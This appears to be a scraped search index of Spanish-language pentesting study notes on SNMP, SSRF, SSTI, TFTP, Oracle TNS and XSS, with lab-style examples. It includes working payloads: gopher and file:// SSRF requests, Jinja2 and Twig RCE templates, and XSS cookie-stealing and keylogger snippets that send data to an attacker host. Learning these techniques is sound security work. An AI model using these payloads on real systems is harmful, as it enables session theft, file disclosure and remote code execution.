(SNMPv1 y v2) Las comm. strings no están cifradas en tránsito. Credenciales de usuario cifradas (SNMPv3) Puertos UDP 161, 162. UDP/161 -\u0026gt; Envío de comandos al servidor. UDP/162 -\u0026gt; Envío de traps (\u0026ldquo;eventos\u0026rdquo;) desde el servidor de forma automática. Enumeración y acceso # Para acceder y leer datos con OID específicos: snmpwalk\n1 snmpwalk -v2c -c public 10.10.11.87 Para tratar de sacar una community string por fuerza bruta: onesixtyone\n1 onesixtyone -c wordlist.txt 10.10.11.87 Una vez tengamos una community string, para hacer fuerza bruta en los OID individuales: braa\n1 2 #Para sacar el dato guardado en cada OID que empiece por \u0026#34;.x.y.z.\u0026#34; braa public@10.10.11.87:x.y.z.* ","externalUrl":null,"permalink":"/notas/protocolos/snmp/","section":"Notas","summary":"Simple Network Management Protocol # Resumen # SNMP es un protocolo que permite la gestión remota de dispositivos de red, generalmente IoT, routers, switches y demás.\nPara garantizar una compatibilidad entre todos los fabricantes, se usa un formato llamado MIB para guardar los datos (Management information Base). Esta MIB representa la “estructura” de los datos que pueden solicitarse al servidor. En ella, todo son OIDs (Object Identifiers), que a su vez pueden ser nodos o referencias a otros nodos (de forma análoga a varios directorios y los archivos en ellos).\n","title":"SNMP","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/snmp/","section":"Tags","summary":"","title":"SNMP","type":"tags"},{"content":" Server-Side Request Forgery # Una vulnerabilidad SSRF se da cuando un atacante manipula una aplicación para realizar solicitudes a URLs arbitrarias.\nPor ejemplo, si un servidor debe solicitar datos de otros servidores en función del input de un usuario, un atacante puede hacer que las solicitudes se hagan a sitios o recursos en los que el desarrollador no había pensado en un primer momento.\nEjemplo # En su forma más simple, una vulnerabilidad SSRF puede ser así:\nEn este caso, se va a registrar un usuario nuevo, y para comprobar la disponibilidad del nombre, vemos que nuestro navegador manda lo siguiente al servidor en el que nos estamos registrando:\n1 2 3 4 5 POST /index.php HTTP/1.1 Host: 10.10.11.87 User-Agent:... unameserver=\u0026#34;http://10.10.11.90/usercheck.php\u0026#34;\u0026amp;username=\u0026#34;user_591\u0026#34; Si cambiamos el campo unameserver a, p.ej, nuestra IP:\n1 2 3 4 5 POST /index.php HTTP/1.1 Host: 10.10.11.87 User-Agent:... unameserver=\u0026#34;http://\u0026lt;IP_Atacante\u0026gt;/hello:4321\u0026#34;\u0026amp;username=\u0026#34;user_591\u0026#34; Podemos ver que recibimos la solicitud, confirmando la vulnerabilidad:\n1 2 3 4 5 6 7 ncat -lnvp 8080 listening on [any] 8080... connect to [\u0026lt;IP_Atacante\u0026gt;] from (UNKNOWN) [10.10.11.87] 45731 GET /hello HTTP/1.1 Host: 10.10.11.87:8080 Accept: */* Comprobar visibilidad output SSRF # Para ver si, aunque haya SSRF en un host, el output del SSRF se nos muestra, podemos hacer que el campo de la URL apunte hacia el propio objetivo (ya sea su propia IP pública, dominio o localhost)\n1 2 3 4 5 POST /index.php HTTP/1.1 Host: 10.10.11.87 User-Agent:... unameserver=\u0026#34;http://127.0.0.1:80\u0026#34;\u0026amp;username=\u0026#34;user_591\u0026#34; Si nos devuelve el mismo index.html que nos devuelve el servidor cuando nos conectamos a él nosotros mismos, y podemos verlo, significa que el SSRF es visible.\nEnumeración de servicios interna # Gracias al hecho de poder conectarnos a cualquier URL, podemos enumerar los servicios internos del servidor redirigiendo la URL hacia localhost y el puerto a enumerar.\nDe forma automatizada:\n1 ffuf -u http://10.10.11.87/login.php -w ./ports.txt -X POST -H \u0026#34;Content-Type: application/x-www-form-urlencoded\u0026#34; -d \u0026#34;unameserver=http://127.0.0.1:FUZZ/\u0026amp;username=user_591\u0026#34; -fr \u0026#34;Failed to connect to\u0026#34; Output:\n1 2 3 80 [Status: 200, Size: 8285, Words: 2151, Lines: 158, Duration: 4342ms] 3306 [Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 50ms] 8000 [Status: 200, Size: 37, Words: 1, Lines: 1, Duration: 54ms] Local File Inclusion # Podemos usar otros protocolos que no sean http a la hora de hacer la solicitud, por ejemplo file://, que nos permite ver archivos locales:\n1 2 3 4 5 POST /index.php HTTP/1.1 Host: 10.10.11.87 User-Agent:... unameserver=\u0026#34;file:///etc/passwd\u0026#34;\u0026amp;username=\u0026#34;user_591\u0026#34; Protocolo gopher # Aunque podemos usar SSRF para acceder a recursos protegidos, estamos limitados a solicitudes GET, pues no hay forma de mandar datos POST únicamente desde la URL.\nEl protocolo gopher nos permite mandar bytes \u0026ldquo;en crudo\u0026rdquo; a sockets TCP, lo que nos permite a su vez mandar solicitudes POST o de cualquier otro tipo (o protocolo) a los puertos que necesitemos.\nP.ej, para mandar:\n1 2 3 4 5 6 POST /admin.php HTTP/1.1 Host: internal.server.com Content-Length: 14 Content-Type: application/x-www-form-urlencoded password=hello Lo encodeamos en formato URL y añadimos el prefijo de gopher (_) antes del payload\nProtocolo y host: gopher://internal.server.com:80/ Prefijo gopher: _ Solicitud encodeada: POST%20%2Fadmin.php%20HTTP%2F1.1%0AHost%3A%20internal.server.com%0AContent-Length%3A%2014%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0A%0Apassword%3Dhello Esto deja la URL como: gopher://internal.server.com:80/_POST%20%2Fadmin.php%20HTTP%2F1.1%0AHost%3A%20internal.server.com%0AContent-Length%3A%2014%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0A%0Apassword%3Dhello.\nDe nuevo, como esta URL la vamos a poner en un campo en otra solicitud HTTP, p.ej:\n1 2 3 4 5 POST /index.php HTTP/1.1 Host: 10.10.11.87 User-Agent:... unameserver=\u0026#34;\u0026lt;La URL irá aquí\u0026gt;\u0026#34;\u0026amp;username=\u0026#34;user_591\u0026#34; Vamos a necesitar encodear de nuevo toda la URL, lo que deja la solicitud final así:\n1 2 3 4 5 POST /index.php HTTP/1.1 Host: 10.10.11.87 User-Agent:... unameserver=gopher%3A%2F%2Finternal.server.com%3A80%2F_POST%2520%252Fadmin.php%2520HTTP%252F1.1%250AHost%253A%2520internal.server.com%250AContent-Length%253A%252014%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250A%250Apassword%253Dhello\u0026amp;username=\u0026#34;user_591\u0026#34; Podemos usar Gopherus como herramienta que automatiza la creación de payloads de gopher.\nBlind SSRF # Si el output de nuestra solicitud realizada no es visible (p.ej, si se devolviese únicamente un mensaje usuario disponible o usuario no disponible al hacer la solicitud mediante SSRF), en función del comportamiento del servidor seguiríamos pudiendo enumerar ciertas cosas.\nSi, por ejemplo, el servidor devuelve usuario disponible cuando un archivo existe y usuario no disponible cuando no (o cuando se devuelve un error), podríamos seguir enumerando la existencia de archivos en el servidor o los puertos abiertos en el mismo.\n","externalUrl":null,"permalink":"/notas/tecnicas/ssrf/","section":"Notas","summary":"Server-Side Request Forgery # Una vulnerabilidad SSRF se da cuando un atacante manipula una aplicación para realizar solicitudes a URLs arbitrarias.\nPor ejemplo, si un servidor debe solicitar datos de otros servidores en función del input de un usuario, un atacante puede hacer que las solicitudes se hagan a sitios o recursos en los que el desarrollador no había pensado en un primer momento.\n","title":"SSRF","type":"notas"},{"content":" Server-Side Template Injection # Template Engines # Un Template Engine es un software que combina plantillas predefinidas con datos generados dinámicamente y que las apps web suelen utilizar para generar respuestas dinámicas.\nPor ejemplo, una página web con un header que \u0026ldquo;saluda al usuario\u0026rdquo; podría contener un código como:\n1 Hola de nuevo, {{ FullName }}. que al renderizarse, sustituyendo FullName con el usuario actual, quedaría:\n1 Hola de nuevo, Juan. Intro - SSTI # Podemos ver el proceso de renderizado como una función render() que toma dos argumentos, template y parameters: render(template, parameters).\nEl argumento template se renderiza, si en él pone {{date}}, al pasarlo a render() pondrá 2024-01-05.\nEl argumento parameters simplemente son datos que se colocan en lugares predefinidos, sin ser procesados.\nSi el templating está bien implementado, el input del usuario se pasará en forma de datos (parameters) sin un significado intrínseco, se meterán en la plantilla como datos sin procesar:\n1 2 -\u0026gt; No vulnerable a SSTI: render(template, user_input) Por otro lado, si está mal implementado, puede darse el caso en que primero se meta el input de usuario en la plantilla, y entonces se renderice:\n1 2 -\u0026gt; Vulnerable a SSTI: render(template_con_user_input, parameters) Si el usuario es capaz de inyectar código en la plantilla que luego será renderizada por el Template Engine, el servidor ejecutará ese código, dándose el caso de SSTI.\nEsto puede pasar en varios casos:\nEl input de usuario se mete a la plantilla antes de ser renderizada. Una plantilla se renderiza varias veces en bucle (el output del renderizado anterior es el input del actual) Los usuarios tienen permiso para modificar las plantillas directamente. Identificación de SSTI # Encontrar un potencial caso de SSTI no es muy distinto a hacerlo para otras vulnerabilidades como SQLi.\nPodemos meter un input como el siguiente para intentar conseguir un mensaje de error que nos indique que el string ha sido procesado realmente:\n${\u0026#123;\u003c%[%'\"}}%\\. Si conseguimos un error al pasar el string de arriba, es posible que la página sea vulnerable a SSTI.\nIdentificación de Template Engine # Una vez tenemos las sospechas de la potencial vulnerabilidad, deberíamos identificar el template engine para poder enfocarnos en su sintaxis específica. Podemos seguir este diagrama de PortSwigger:\nUsamos ${7*7} como user input, si no funciona, usamos {{7*'7'}}, si funciona a{*comment*}b, y así sucesivamente.\nExplotación de SSTI -\u0026gt; Jinja2 # Jinja2 es un template engine escrito en python hecho para ejecutarse sobre frameworks web de python\nJinja es usado normalmente en frameworks web de Python como Flask o Django. En nuestro payload podremos usar cualquier función de librerías ya importadas en la app web, o a veces incluso podremos importar más con import.\nConfig de app web # Para conseguir info de la app web:\n1 {{ config.items() }} Funciones disponibles # Para conseguir todas las funciones por defecto disponibles:\n1 {{ self.__init__.__globals__.__builtins__ }} LFI # Para leer un archivo del servidor, podemos usar open, aunque tendremos que llamarlo desde __builtins__:\n1 {{ self.__init__.__globals__.__builtins__.open(\u0026#39;/etc/passwd\u0026#39;).read() }} RCE # Para ejecutar comandos, podemos usar funciones de la librería os, como system o popen. Si no está importada, podemos importarla con import:\n1 {{ self.__init__.__globals__.__builtins__.__import__(\u0026#39;os\u0026#39;).popen(\u0026#39;id\u0026#39;).read() }} Explotación de SSTI -\u0026gt; Twig # Twig es en esencia un port de Jinja2 para PHP, no trabaja con objetos de python, sólamente de php\nInfo de plantilla # Usando _self podemos conseguir info acerca de la plantilla actual.\nEn Twig v1, supone un vector de RCE directo, pues _self es un objeto, por lo que expone métodos que permiten registrar funciones no definidas para ejecutar comandos del sistema En Twig v2,v3, _self es un simple string. No sirve para conseguir RCE pero da info, aunque eso no significa que no haya otros vectores para RCE. 1 {{ _self }} LFI # Twig no tiene funciones por defecto para abrir archivos, por lo que dependerá en gran medida del framework web en uso.\nPara abrir archivos, si se usa Symfony (estándar enterprise y en el que se basan otros frameworks como Laravel):\n1 {{ \u0026#34;/etc/passwd\u0026#34;|file_excerpt(1,-1) }} Esto lee /etc/passwd desde el inicio (línea 1) hasta el final (línea \u0026ldquo;-1\u0026rdquo;).\nRCE # Podemos usar funciones predefinidas de PHP para ejecutar comandos:\n1 {{ [\u0026#39;id\u0026#39;] | filter(\u0026#39;system\u0026#39;) }} ","externalUrl":null,"permalink":"/notas/tecnicas/ssti/","section":"Notas","summary":"Server-Side Template Injection # Template Engines # Un Template Engine es un software que combina plantillas predefinidas con datos generados dinámicamente y que las apps web suelen utilizar para generar respuestas dinámicas.\nPor ejemplo, una página web con un header que “saluda al usuario” podría contener un código como:\n","title":"SSTI","type":"notas"},{"content":"","externalUrl":null,"permalink":"/notas/tecnicas/","section":"Notas","summary":"","title":"Técnicas \u0026 Herramientas","type":"notas"},{"content":" Trivial File Transfer Protocol # Resumen # TFTP es un protocolo que permite transferir archivos entre dispositivos. Es una versión simple de FTP.\nNo tiene ni autenticación ni cifrado, por lo que es potencialmente inseguro. Tener acceso a un puerto TFTP abierto indica un potencial vector de entrada, pues está hecho para ser accesible sólamente dentro de LANs.\nPuerto UDP 69. Sólo se usa como punto inicial de conexión. La transferencia real de datos se realiza en un puerto aleatorio alto (1024) Enumeración # 1 nmap -sU -Pn -n -sVC -p69 10.10.11.87 Bruteforcing # Dado que TFTP no permite listar los archivos del directorio compartido, es necesario saber qué archivos existen para poder descargarlos. Para esto podemos usar el módulo tftpbrute de Metasploit:\n1 use auxiliary/scanner/tftp/tftpbrute ","externalUrl":null,"permalink":"/notas/protocolos/tftp/","section":"Notas","summary":"Trivial File Transfer Protocol # Resumen # TFTP es un protocolo que permite transferir archivos entre dispositivos. Es una versión simple de FTP.\nNo tiene ni autenticación ni cifrado, por lo que es potencialmente inseguro. Tener acceso a un puerto TFTP abierto indica un potencial vector de entrada, pues está hecho para ser accesible sólamente dentro de LANs.\n","title":"TFTP","type":"notas"},{"content":" Oracle Transparent Network Substrate # Resumen # TNS es un protocolo de la capa de aplicación que funciona como canal de comunicación a través del cual se accede a las bases de datos oracle (Oracle Database) desde las aplicaciones cliente.\nOracle TNS es análogo al protocolo MySQL, usado como vía de comunicación entre los clientes y el servidor MySQL.\nTNS ofrece varios servicios como cifrado o resolución de nombres.\nPuerto TCP 1521 (y a veces 1522-1529). El puerto 1521 es el que se usa por defecto En entornos empresariales pueden usarse más puertos con el fin de dar un balanceo de carga y mayor disponibilidad. Enumeración # Si tenemos credenciales, podemos conectarnos a la DB con dbeaver (GUI).\nTanto como herramienta de enumeración como de elevación de privilegios existe ODAT (Oracle Database Attacking Tool), con usos varios, según el autor en Github:\nUsage examples of ODAT:\nYou have an Oracle database listening remotely and want to find valid SIDs and credentials in order to connect to the database You have a valid Oracle account on a database and want to escalate your privileges to become DBA or SYSDBA You have a Oracle account and you want to execute system commands (e.g. reverse shell) in order to move forward on the operating system hosting the database* \u0026hellip; ","externalUrl":null,"permalink":"/notas/protocolos/tns/","section":"Notas","summary":"Oracle Transparent Network Substrate # Resumen # TNS es un protocolo de la capa de aplicación que funciona como canal de comunicación a través del cual se accede a las bases de datos oracle (Oracle Database) desde las aplicaciones cliente.\nOracle TNS es análogo al protocolo MySQL, usado como vía de comunicación entre los clientes y el servidor MySQL.\n","title":"TNS","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/tns/","section":"Tags","summary":"","title":"TNS","type":"tags"},{"content":"","externalUrl":null,"permalink":"/tags/windows/","section":"Tags","summary":"","title":"Windows","type":"tags"},{"content":" Cross-Site Scripting # Una aplicación web normal funciona recibiendo código HTML del servidor y renderizándolo en el navegador del cliente. Si una aplicación web no valida ni limpia el input del usuario correctamente, el usuario puede introducir código js en un campo de input para que, cuando él mismo u otro usuario vea la página, ese código js se ejecute en su navegador.\nLas vulnerabilidades XSS son muy comunes, pero no afectan al servidor directamente, sólo al cliente que las ejecuta.\nAunque sólo afectan al lado del cliente y están limitadas al motor JS del navegador y al dominio del sitio vulnerable (no afectan al SO del cliente), pueden ser muy peligrosas. Mediante XSS, un atacante puede, por ejemplo, robar cookies de sesión o tomar acciones en nombre de otro usuario.\nTipos de XSS # Persistente # Si el payload XSS se guarda en el backend, p.ej, en una base de datos, y luego se muestra al visitar la página, tenemos un XSS persistente.\nComo ataque, este tipo es el más peligroso por el potencial de infección que tiene (véase el samy worm). Basta con inyectar el código en una página, que el servidor lo guarde, y que ese código se ejecute en el navegador de los clientes cada vez que accedan a la página.\nReflejado # Si el payload llega hasta el servidor backend y luego se nos devuelve tal cual sin ser filtrado o saneado, tendremos un caso de XSS reflejado.\nPodemos distinguir entre este y el anterior porque, en este, al recargar la página, nuestro payload habrá desaparecido.\nEste tipo puede usarse como ataque mandando a alguien un enlace a una página vulnerable que contenga nuestro payload. (Mediante phishing)\nBasado en DOM # A diferencia de los anteriores, este se procesa completamente en el navegador del usuario, sin pasar por el servidor backend. Esto puede hacer que las vulnerabilidades XSS basadas en DOM pasen completamente desapercibidas.\nAquí el problema está en alguna función javascript que toma un input inseguro y no lo valida, y que simplemente modifica el DOM (y la página) con él.\nIdentificación de XSS # Un código XSS puede inyectarse en cualquier input de una página web siempre y cuando su valor/output se muestre en pantalla. Esto incluye tanto formularios web como cabeceras HTTP (p.ej User-Agent o Cookie)\nHay algunos inputs que podemos meter en formularios y headers para comprobar si son vulnerables a XSS.\nEl más básico:\n1 \u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt; En el siguiente payload, window.origin indica la IP/Dominio del servidor web del que viene la página en que se ejecuta el código js. (Generalmente el dominio del servidor al que estamos conectados).\n1 \u0026lt;script\u0026gt;alert(window.origin)\u0026lt;/script\u0026gt; Es preferible usar alert(window.origin) en lugar de, p.ej, alert(1), porque, aunque es más largo, nos indica el dominio que realmente es vulnerable a XSS. Si estamos en dominio.com y encontramos una XSS, pero window.origin indica subd.dominio.com, no podremos robar cookies de dominio.com por la Same-Origin Policy.\nEste payload abre el diálogo de impresión del navegador, algo que rara vez bloquearía un navegador:\n1 \u0026lt;script\u0026gt;print()\u0026lt;/script\u0026gt; Este muestra las cookies del scope actual (documento y dominio actual) que no tengan protecciones específicas contra javascript:\n1 \u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt; Este sirve solo como PoC del XSS, pues de poco le sirve al atacante ver su propia cookie de sesión (Si lo ejecutamos nosotros, veremos la alerta en nuestro navegador, si la ejecuta un administrador, la verá en el suyo). Pero, para robar cookies de forma útil luego, también se hace uso de document.cookie enviando el output por la red.\nEn el caso de que \u0026lt;script\u0026gt; no esté permitido, también podemos usar este:\n1 \u0026lt;img src=\u0026#34;1\u0026#34; onerror=alert(window.origin)\u0026gt; Robo de Cookies (Session Hijacking). # El session hijacking es uno de los ataques más críticos que pueden hacerse mediante XSS. El proceso de ataque varía en función del tipo de XSS (Stored/Reflected/DOM) pero es bastante similar en todos los casos:\nEl atacante identifica un punto vulnerable a XSS Se envía un payload que hace que el navegador del usuario tome las cookies guardadas y las mande a un servidor en escucha del atacante. A través del servidor (Stored) A través de un enlace malicioso (Reflected) El navegador usa comandos como document.cookie y transmite las cookies al servidor del atacante. Stageless XSS # En una línea, este sería un ejemplo de un ataque XSS que mande la cookie del navegador a nuestra IP:\n1 \u0026lt;script\u0026gt;fetch(\u0026#39;http://IP_ATACANTE/?c=\u0026#39; + document.cookie)\u0026lt;/script\u0026gt; Staged XSS # Normalmente, para evitar tener que mandar un payload muy largo que haga todo de una vez (y con posibles limitaciones de longitud, encoding o WAFs), se divide el trabajo en:\nStager: Una inyección XSS que hace que el navegador acceda al stage. 1 \u0026lt;script src=http://IP_ATACANTE/stager.js\u0026gt;\u0026lt;/script\u0026gt; Stage: Un código .js alojado en el servidor atacante (El payload real). El staged XSS tiene el beneficio de permitirnos editar nuestro payload en directo aunque ya se haya inyectado el stager. Además, no solo sirve para robar cookies. Estos son algunos ejemplos de stager:\nRobo de cookies (Session hijacking) 1 2 3 //stage.js var cookies = document.cookie; new Image().src = \u0026#34;http://IP_ATAC/index.php?c=\u0026#34; + cookies; Keylogger 1 2 3 4 5 //script.js document.onkeypress = function(e) { var key e.key; fetch(\u0026#34;http://IP_ATAC/log?k=\u0026#34; + key); }; Pueden usarse frameworks como BeEF que automatizan la creación de stages, requiriendo simplemente que el stager redirija hacia puntos en los que escucha.\n","externalUrl":null,"permalink":"/notas/tecnicas/xss/","section":"Notas","summary":"Cross-Site Scripting # Una aplicación web normal funciona recibiendo código HTML del servidor y renderizándolo en el navegador del cliente. Si una aplicación web no valida ni limpia el input del usuario correctamente, el usuario puede introducir código js en un campo de input para que, cuando él mismo u otro usuario vea la página, ese código js se ejecute en su navegador.\n","title":"XSS","type":"notas"}]